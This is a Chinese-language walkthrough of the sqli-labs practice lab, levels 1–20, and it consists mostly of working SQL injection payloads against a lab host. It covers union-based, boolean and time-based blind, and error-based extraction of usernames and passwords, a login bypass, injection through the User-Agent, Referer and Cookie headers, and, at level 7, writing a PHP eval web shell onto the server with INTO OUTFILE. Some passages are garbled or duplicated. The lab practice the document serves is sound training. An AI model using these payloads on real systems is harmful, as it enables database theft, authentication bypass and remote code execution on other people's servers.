声明
学习SQL注入,提高网路安全能力,其实大部分环境下,测试人员做的工作都截止到漏洞发现,简单回顾一下,漏洞发现的实质就是发现SQL语句的闭合方式,一般来讲都围绕着这几个符号
双引号 "
单引号 ’
双引号括号 "(
单引号括号’(
实际运用过程如下,仔细观察服务器给的反馈,或者结合sleep函数进行使用
http://192.168.239.138:86/Less-9/?id=" --+
http://192.168.239.138:86/Less-9/?id=' --+
http://192.168.239.138:86/Less-9/?id=") --+
http://192.168.239.138:86/Less-9/?id=') --+
information_schema
过关之前先要了解一下,我们要研究的是SQL注入,所以有必要先了解一下MYSQL数据库的重要库(表集合):information_schema,这个库中,存在着所有数据库的信息。。。这就意味着,如果我们可以利用漏洞,仅仅去查询这个库,就可以拿到关于数据库的大量信息了。
先看一下,这个数据库的位置
SCHEMATA
该表记录着所有的数据库名
图中,mysql命令行输入如喜爱命令,会显示目前为止所有的数据库(图左1)
show databases;
使用Navicat查看schemata表的SCHEMA_NAME字段显示所有的数据库(图右1)
使用Navicat连接mysql时左侧显示所有的数据库(图右2)
这三种结果都可以查看目前所有的数据库,这就意味着,如果我们可以操控SQL语句,可以通过查询SCHEMATA表里面的SCHEMA_NAME字段,来查看现有的所有数据库
TABLES
该表记录着所有的数据库与其表的对应关系
如图,该表里面,TABLE_SCHEMA字段记录着数据库,TABLE_NAME记录着TABLE_SCHEMA对应的表名称
所以靠这个账表,我们可以操纵SQL语句,查到所有的表名
COLUMNS
提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。
多了一个字段COLUMN_NAME
就是所有库对应的表对应的字段
常用
database()
返回当前数据库名
version()
返回数据库的版本号
CONCAT(s1,s2…sn)
字符串 s1,s2 等多个字符串合并为一个字符串
CONCAT_WS(x, s1,s2…sn)
同 CONCAT(s1,s2,…) 函数,但是每个字符串之间要加上 x,x 可以是分隔符
LIMIT
mysql> SELECT * FROM table LIMIT 5,10; // 检索记录行 6-15
//为了检索从某一个偏移量到记录集的结束所有的记录行,可以指定第二个参数为 -1:
mysql> SELECT * FROM table LIMIT 95,-1; // 检索记录行 96-last.
//如果只给定一个参数,它表示返回最大的记录行数目:
mysql> SELECT * FROM table LIMIT 5; //检索前 5 个记录行
//换句话说,LIMIT n 等价于 LIMIT 0,n。
sleep
left
LEFT(s,n) 返回字符串 s 的前 n 个字符
返回字符串 runoob 中的前两个字符:
SELECT LEFT(‘runoob’,2) – ru
mid
mid()函数为截取字符串一部分。mid(column_name,start,length)
column_name 必需,要提取字符的字段
start 必需,规定开始位置(起始为1)
length 可选,要返回的字符数,如果省略则返回剩余文本
eg:str=“123456” mid(str,2,1) 结果为2
substr
substr()
Substr()和substring()函数实现的功能是一样的,均为截取字符串。
string substring(string, start, length)
string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度
ASCII
返回字符串 s 的第一个字符的 ASCII 码。
返回 CustomerName 字段第一个字母的 ASCII 码:
SELECT ASCII(CustomerName) AS NumCodeOfFirstChar
FROM Customers;
count
返回查询的记录总数,expression 参数是一个字段或者 * 号
返回 Products 表中 products 字段总共有多少条记录:
SELECT COUNT(ProductID) AS NumberOfProducts FROM Products;
if
IF(expr,v1,v2) 如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2
SELECT IF(1 > 0,‘正确’,‘错误’)
->正确
updatexml
updatexml()函数,是更新xml文档的函数。
语法updatexml(目标xml文档,xml路径,更新的内容)
select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))
总结
所以,只要发现有SQL注入,我们可以操纵SQL语句,就可以通过上述方式,将mysql数据库的库,表,字段一个一个查询出来
刀磨好了,拿sqlilab练练手吧
第一关
题目已经告诉我们提示了,有一个ID字段了
代码推测是根据id查询
http://192.168.239.138:86/Less-1/?id=1
使用单引号进行测试,一般来说第一个payload都是单引号,如果程序返回SQL语法错误,那就是实锤了,肯定有SQL注入
http://192.168.239.138:86/Less-1/?id='
继续测试,构建完成语句
http://192.168.239.138:86/Less-1/?id=1 or true --
至此,发现漏洞过程结束,开始漏洞利用了
有了上面的知识基础,我们需要通过information_schema来进行爆破喽
判断当前表的字段数
输入 order by 1~99,直到页面显示异常,order可以折半,比如99,50,25/75。。。
显示不存在字段,这里得用+代替空格了
http://192.168.239.138:86/Less-1/?id=1' order by 4 --+
使用3
http://192.168.239.138:86/Less-1/?id=1' order by 3 --+
使用这个payload,发现没反应?仔细想想,需要把id换成不存在的值,联合出查询但是只有一个回显值,所以随便选个不存在的id
http://192.168.239.138:86/Less-1/?id=1' union select 1,2,3 --+
http://192.168.239.138:86/Less-1/?id=1111' union select 1,2,3 --+
开始查询information_schema,查到了数据库security
可以看到,我们union查询了3个字段值,第一个是null,说白了就是凑数的,第二个是数据库名,显示在了图片第二行,第三个是数据库版本,显示在了第三行,后续的查询,可以操纵SQL语句,让想要爆破的字段值显示在第二行和第三行
http://192.168.239.138:86/Less-1/?id=1111' union select null,database(),version()--+
继续爆破,从information_schema.tables表,简单回顾一下,爆破的是数据库名和表明字段,所以取得是security库里面第一条记录的库名和表名
http://192.168.239.138:86/Less-1/?id=1111' union select null,table_schema,table_name from information_schema.tables where table_schema='security' limit 0,1--+
改变 limit m, n 中的 m, 从表中一行行查询 0~99,其实就是把security库中每一张表名都爆出来,什么?limit好麻烦,那就使用concat函数吧
http://192.168.239.138:86/Less-1/?id=1111' union select 1,group_concat('---',table_name),3 from information_schema.tables where table_schema='security' --+
看看users表里面都有哪些有价值的字段
http://192.168.239.138:86/Less-1/?id=1111' union select 1,group_concat('---',column_name),3 from information_schema.columns where table_name='users' --+
发现有user和password列(因为版本不一样,可能列名不一样,但是一定会有用户名和密码两列)
我们来获得用户名和密码的字段,这里我们已经查到users表了,所以就操纵users表,成功查到
http://192.168.239.138:86/Less-1/?id=1111' union select 1,group_concat(username,'---',password),3 from users --+
没什么祝贺我们的?
第二关
怎么还是ID,莫非不是字符类型的?变成数字型了?
试一试,还是使用单引号
报语法错误,说明被解析
http://192.168.239.138:86/Less-2/?id=1 and true --+
其实和第一关差不多,可以按照第一步的思路一步一步来,就是这里的id是个数字型
http://192.168.239.138:86/Less-2/?id=1111 union select 1,group_concat(username,'---',password),3 from users --+
第三关
在闭合参数上做了些手脚
后台处理id这个参数的方法再前两题的基础上做了调整,就是用单引号加括号将id参数包裹。
192.168.239.138:86/Less-3/?id=1111') union select 1,group_concat(username,'---',password),3 from users --+
第四关
我这里试了单引号(没用),双引号(给了一些信息),双引号+括号(OK)
我们其实一直在研究怎么把id给闭合掉,所以这个闭合方式就是")
192.168.239.138:86/Less-4/?id=1111") union select 1,group_concat(username,'---',password),3 from users --+
第五关
这个没显示unknown 4 column,说明只有3个字段
你可能会觉得,使用下面这个就能爆出users表里面的用户名和密码,试试吧
192.168.239.138:86/Less-5/?id=1' union select 1,group_concat(username,'---',password),3 from users --+
还是现实You are in…
大意了吧,这就是传说中的盲注,也是真实环境中经常遇到的情况,谁写代码,还给你那么多提示,统一返回一种提示,那这里显然就是You are in…
但是细心的我们发现了一点,只要你的SQL语句能正常执行(可以查询到结果),就会显示You are in,比如:
不能正常执行(查询不到结果),他就什么都不显示,比如:
其实这个就类似boolean盲注了,一正一反,非黑即白,就给你两种提示,查到了,提示You are in,没查到黑屏,所以我们可以利用这种方式来进行爆破,当然一般遇见这种情况,大家都会选择burp或者sqlmap进行爆破,其实工具使用非常简单,我们这里多多演示手工过程(原理),其实工具就是把手工过程做成大量的请求,根据上一次返回值来进行下一次的请求发送
经常,盲注中也会用到sleep,但是既然他都给这两种提示了,我们就先不用sleep(看看后面有木有机会可以用到),使用left吧,因为我们得不到任何提示,所以只能一个字母一个字母的去爆破,比如库,要把每一位取出来,然后和26个字母比较(或者和ascii码比较)
猜测数据库长度,大于10不成立,就大于5。。。最后是等于8
192.168.239.138:86/Less-5/?id=1' and length(database())>10--+
里面的>10是用于判断数据库的长度,都可以使用二分查找的思路
192.168.239.138:86/Less-5/?id=1' and length(database())>10--+
...
192.168.239.138:86/Less-5/?id=1' and length(database())=8--+
一共8位,我们就一位一位进行爆破吧,使用这种方法,慢慢来
192.168.239.138:86/Less-5/?id=1' and left(database(),1)='a'--+
192.168.239.138:86/Less-5/?id=1' and left(database(),1)='s'--+
...
192.168.239.138:86/Less-5/?id=1' and left(database(),2)='sa'--+
192.168.239.138:86/Less-5/?id=1' and left(database(),2)='se'--+
...
...
192.168.239.138:86/Less-5/?id=1' and left(database(),8)='security'--+
爆表名
http://192.168.239.138:86/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1),b,1))>n
a是从0开始第几个表,b从1开始为第几个字符,n是ASCII所对应的十进制数
ascii函数是求出ascii码最后结果和n比较
substr配合参数b一次找出表名的每一位
limit配合a找到每一张表
...
http://192.168.239.138:86/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=101 --+
这个payload是拿出当前数据库的第一张表的第一个字符,和e(101)比较
关键的攻击代码
第一张表(emails)
http://192.168.239.138:86/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))='7 --+
http://192.168.239.138:86/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=101 --+
http://192.168.239.138:86/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),2,1))=109 --+
http://192.168.239.138:86/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),3,1))=97 --+
http://192.168.239.138:86/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),4,1))=105 --+
http://192.168.239.138:86/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),5,1))=108 --+
http://192.168.239.138:86/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),6,1))=115 --+
第二张表(referers)
http://192.168.239.138:86/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))='8 --+
...
第三张表(uagents)
...
第四张表(users)
http://192.168.239.138:86/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))='5 --+
http://192.168.239.138:86/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),1,1))=117 --+
http://192.168.239.138:86/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),2,1))=115 --+
http://192.168.239.138:86/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),3,1))=101 --+
http://192.168.239.138:86/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),4,1))=114 --+
http://192.168.239.138:86/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),5,1))=115 --+
列名与值
http://192.168.239.138:86/Less-5/?id=1' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit a,1)=b--+
a从0开始,第a+1列的字段长度和b比较
http://192.168.239.138:86/Less-5/?id=1' and ascii(substr((select username from users limit a,1),b,1))=c --+
a从0开始,b从1开始
第a+1条记录的第b位和c比较
关键payload
第一列
http://192.168.239.138:86/Less-5/?id=1' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=2--+
...
第二列(username)
http://192.168.239.138:86/Less-5/?id=1' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)=8--+
http://192.168.239.138:86/Less-5/?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+
http://192.168.239.138:86/Less-5/?id=1' and ascii(substr((select username from users limit 0,1),2,1))=117 --+
http://192.168.239.138:86/Less-5/?id=1' and ascii(substr((select username from users limit 0,1),3,1))=109 --+
http://192.168.239.138:86/Less-5/?id=1' and ascii(substr((select username from users limit 0,1),4,1))=98 --+
...
第二列(password)
http://192.168.239.138:86/Less-5/?id=1' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 2,1)=8--+
http://192.168.239.138:86/Less-5/?id=1' and ascii(substr((select password from users limit 0,1),1,1))=68 --+
http://192.168.239.138:86/Less-5/?id=1' and ascii(substr((select password from users limit 0,1),2,1))=117 --+
http://192.168.239.138:86/Less-5/?id=1' and ascii(substr((select password from users limit 0,1),3,1))=109 --+
http://192.168.239.138:86/Less-5/?id=1' and ascii(substr((select password from users limit 0,1),4,1))=98 --+
...
第六关
和第五关闭合方式不一样,把第五关里面的单引号都换成双引号即可
第七关
试探一下,结果题目已经提示,use outfile,这不是明摆着让我使用sql语句来写马(SQL语句是可以将指定内容写进文件里面的)
分析闭合方式,单引号报错,所以闭合方式为单引号
id=1
id=1'
id=1"
分析括号及个数,两个括号
id=1') and 1=1--+
id=1')) and 1=1--+
写马
http://192.168.239.138:86/Less-7/?id=-1')) union select 1,2,'<?php eval($_POST["cmd"]);?>' into outfile "C:/inetpub/target/sqlilabs/Less-7/111.php"--+
查看文件目录,已经写入一句话
访问一下马看看
连
http://192.168.239.138:86/Less-7/111.php
第八关
随便试一试两个poc,又看到熟悉的两种结果
http://192.168.239.138:86/Less-8/?id='
http://192.168.239.138:86/Less-8/?id=1
试一试简单利用(判断有几列)
http://192.168.239.138:86/Less-8/?id=1' order by 3 --+
http://192.168.239.138:86/Less-8/?id=1' order by 4 --+
手工过程就和前面的一样了,可以直接一步一步来(和第五关的方式一样,可以参考第五关的手工注入过程,把id的值替换成第五关的即可),或者使用sqlmap跑了
第九关
套路深了,我不管输入什么字符,都不会给我提示,这种情况,那就用sleep函数了
http://192.168.239.138:86/Less-9/?id=" --+
http://192.168.239.138:86/Less-9/?id=' --+
http://192.168.239.138:86/Less-9/?id=") --+
http://192.168.239.138:86/Less-9/?id=') --+
使用sleep,转圈转了将近四五秒(还有机器的反应时间),才出来You are in,说明SQL语句被解析,存在SQL注入
http://192.168.239.138:86/Less-9/?id=1' and sleep(3) --+
漏洞发现后,就开始利用
这里要引入if()函数,配合sleep()函数使用
查看if()函数的说明,简单易懂,简单解释一下这个payload
id=1’ and if(length(database())=8 , sleep(3), 1) --+
先看and后面的if表达式,if中有三块,第一块为判断:如果database的length为8,则if表达式结果为第二块,length长度不为8,结果为第三块。。。
那么,此题,如果length长度为8,结果id=1’ and sleep(3) --+,就反应三四秒,就会转圈等待
不为8,结果为id=1’ and 1 --+,会显示You are in…
显然数据库长度为8
http://192.168.239.138:86/Less-9/?id=1' and if(length(database())=8 , sleep(3), 1) --+
其实说到这,核心就变成了if里面的第一块了,实际上手动操纵的就是if里面的第一块,手动利用的过程,就是把第五关的判断语句,填充到if的第一块,如下
http://192.168.239.138:86/Less-9/?id=1' and if(length(database())=8 , sleep(3), 1) --+
http://192.168.239.138:86/Less-9/?id=1' and if(left(database(),8)='security' , sleep(3), 1) --+
...
以此类推
第十关
和第九关几乎一样,只不过闭合方式为双引号,一定注意,闭合时,尽量在双引号,单引号之类的前面,加点东西,比如1
http://192.168.239.138:86/Less-10/?id=1" and sleep(10) --+
中…(img-gvjQcGPG-1601975337691)]
其实说到这,核心就变成了if里面的第一块了,实际上手动操纵的就是if里面的第一块,手动利用的过程,就是把第五关的判断语句,填充到if的第一块,如下
http://192.168.239.138:86/Less-9/?id=1' and if(length(database())=8 , sleep(3), 1) --+
http://192.168.239.138:86/Less-9/?id=1' and if(left(database(),8)='security' , sleep(3), 1) --+
...
以此类推
第十一关
换了界面了
简单抓包,发现是post提交的用户名和密码字段
uname
passwd
使用firefox的hackbar插件提交post字段
提交用户名和密码都为123,发现服务器毛响应都没
使用我们常用的漏洞发现方式(那几个特殊符号),发现服务器给出语法错误
那么这就意味着,这里将uname的内容拼接到SQL语句中了
既然是登录页面,又存在SQL注入,那就直接利用万能密码来进行注入(’ or true --+或者’ or true #,貌似hackbar的注释使用–+有点问题,我换成#就么问题了),成功绕过登录
http://192.168.239.138:86/Less-11/
uname=' or true #&passwd=123&submit=Submit
既然存在SQL注入,就可以爆表的相关信息,这里简单演示一下
注入的字段就是uname
猜解字段个数,为2
uname=' order by 2#&passwd=123&submit=Submit
uname=' order by 3#&passwd=123&submit=Submit
直接上union(感觉像是在过第一关)
uname=' union select 1,2#&passwd=123&submit=Submit
uname=' union select database(),user()#&passwd=123&submit=Submit
爆破表名
uname=' union select(select group_concat(table_name) from information_schema.tables where table_schema=database()),2#&passwd=123&submit=Submit
爆字段名
uname=' union select(select group_concat(column_name) from information_schema.columns where table_name='users'),2#&passwd=123&submit=Submit
最终目的,获取数据
uname=' union select(select group_concat(username,password) from users),2#&passwd=123&submit=Submit
没什么祝贺我们的?
前十关都看懂了,这关有手就过?
第十二关
有种预感告诉我,该试试其他符号了,那能不试试双引号吗,这不就是出题人的套路,中间略了
发现漏洞用双引号"或者双引号括号")都可以
利用漏洞用的双引号括号"),因为闭合方式就是双引号括号
uname=") union select(select group_concat(username,password) from users),2#&passwd=123&submit=Submit
第十三关
又有种预感告诉我,该试试其他符号了,来来回回就是这几个符号,主要就是看有没有报错,从而确定闭合方式,中间略了
发现漏洞用单引号’或者单引号括号’)都可以
利用漏洞用的单引号括号’),因为闭合方式就是双引号括号
uname=') union select(select group_concat(username,password) from users),2#&passwd=123&submit=Submit
咦,没反应,作者又换套路了?还查不到了还,又变成盲注了
瞬间觉得和第五关类似了,给出关键的payload
uname=') union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd= ‘) or 1=1 # &submit=Submit
uname=') union select count(*),concat(0x3a,0x3a,(select version()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd= ‘) or 1=1 # &submit=Submit
uname=') union select 1,2 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ‘) or 1=1 # &submit=Submit
uname=') union select 1,2 from (select count(*),concat((select concat(group_concat(table_name) ,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ‘) or 1=1 # &submit=Submit
uname=') union select 1,2 from (select count(*),concat((select concat(group_concat(column_name) ,0x3a,0x3a) from information_schema.columns where table_schema=database() and table_name=‘users‘ limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ‘) or 1=1 # &submit=Submit
uname=') union select 1,2 from (select count(*),concat((select concat(count(*),0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ‘) or 1=1 # &submit=Submit
uname=') union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ‘) or 1=1 # &submit=Submit
第十四关
前面说了那么多闭合方式符号,貌似还有没有出现过的符号:双引号"
发现漏洞用双引号’或者双引号括号’)都可以
利用漏洞用的双引号“,因为闭合方式就是双引号
答案和第十三关差不多,把十三关的单引号括号)'换成双引号"即可
uname=" union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd= ‘) or 1=1 # &submit=Submit
uname=" union select count(*),concat(0x3a,0x3a,(select version()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd= ‘) or 1=1 # &submit=Submit
uname=" union select 1,2 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ‘) or 1=1 # &submit=Submit
uname=" union select 1,2 from (select count(*),concat((select concat(group_concat(table_name) ,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ‘) or 1=1 # &submit=Submit
uname=" union select 1,2 from (select count(*),concat((select concat(group_concat(column_name) ,0x3a,0x3a) from information_schema.columns where table_schema=database() and table_name=‘users‘ limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ‘) or 1=1 # &submit=Submit
uname=" union select 1,2 from (select count(*),concat((select concat(count(*),0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ‘) or 1=1 # &submit=Submit
uname=" union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ‘) or 1=1 # &submit=Submit
第十五关
怎么有种预感又要开始盲注了,因为前十关时就是第五关开始盲注
试了几个通用符号,都不给任何反馈,那只能用sleep函数了,使用如下payload,服务器在反应,确定闭合方式为单引号
uname=1' or if(1,sleep(5),0)#&passwd=1&submit=Submit
uname=admin' and if(length(database()=8),sleep(5),1) #&passwd=1&submit=Submit
猜库名
uname=admin' and if(substr(database(),1,1)='s',sleep(5),1)#&passwd=1&submit=Submit
uname=admin' and if(substr(database(),2,1)='e',sleep(5),1)#&passwd=1&submit=Submit
uname=admin' and if(substr(database(),3,1)='c',sleep(5),1)#&passwd=1&submit=Submit
uname=admin' and if(substr(database(),4,1)='u',sleep(5),1)#&passwd=1&submit=Submit
uname=admin' and if(substr(database(),5,1)='r',sleep(5),1)#&passwd=1&submit=Submit
uname=admin' and if(substr(database(),6,1)='i',sleep(5),1)#&passwd=1&submit=Submit
uname=admin' and if(substr(database(),7,1)='t',sleep(5),1)#&passwd=1&submit=Submit
uname=admin' and if(substr(database(),8,1)='y',sleep(5),1)#&passwd=1&submit=Submit
是不是感觉似曾相识,其实前面主要是使用GET方式,注入的参数id在URL中,现在都是POST方式,注入的参数是uanme,在请求体中
可以在前面找一找同样使用单引号闭合的,将uname字段的内容替换成原来id字段的内容即可
第十六关
和第十五关闭合方式不一样,把第十五关里面的单引号都换成双引号括号即可
uname=admin") and if(1,sleep(5),0)#&passwd=1&submit=Submit
第十七关
试了一下,几个符号,服务器都没有给任何反馈,想到使用报错的函数,利用报错来获取信息(uname手都试出茧子了,也没试出来,一看网上,大家都在注入密码,这个例子是为了告诉我们不要只局限于用户名吧?话说真实环境密码至少都md5了,不过也可以试试其他的字段,也未必只局限于用户名)
查询版本
uname=admin&passwd=' and updatexml(1,concat('~',(select version())),1)#&submit=Submit
获取数据库名称
uname=admin&passwd=' and updatexml(1,concat('~',(select database())),1)#&submit=Submit
爆表(控制limit n,1获取其他表名。)后面略
uname=admin&passwd=' and updatexml(1,concat('~',(select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1)),1)#&submit=Submit
第十八关
上回书说到,密码也可以注入,俗话说得好,“万物皆可注入”,用户名可以注入,密码可以注入,那其他的字段呢,应用层HTTP请求中的其他字段呢?
变成这德行了
用户名密码输入正确后(admin,admin),会返回代理信息
那么和代理信息相关的字段就会很可疑,也就是第三行的User-Agent,我们修改User-Agent的值,并使用重放模块(repeater),用常用符号单引号’,查看到确实存在SQL注入
爆库,注意,以下改的都是User-Agent字段的内容
' and updatexml(1,concat('~',(select database())),1) and '1'='1
' and extractvalue(1,concat('~',(select database()))) and '1'='1
爆表
'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) and '
爆字段
'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e)) and '
爆字段值
'and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password)from users),0x7e)) and'
第十九关
盲猜,有可能换了个字段
再次输入用户名和密码后,显示Your referer…,那应该是就是换字段了
用与十八关相同的手段,先用用单引号’
' and extractvalue(1,concat('~',(select database()))) and '1'='1
'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) and '
'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e)) and '
'and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password)from users),0x7e)) and'
第二十关
使用admin,admin登录后,发现好像有登录状态(cookie)了
既然有登录状态,那有可能就是cookie字段了,登录成功后,就在这个登录成功后的页面,进行抓包重放
Cookie字段存在SQL注入
' and extractvalue(1,concat('~',(select database()))) and '1'='1
'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) and '
'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e)) and '
'and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password)from users),0x7e)) and'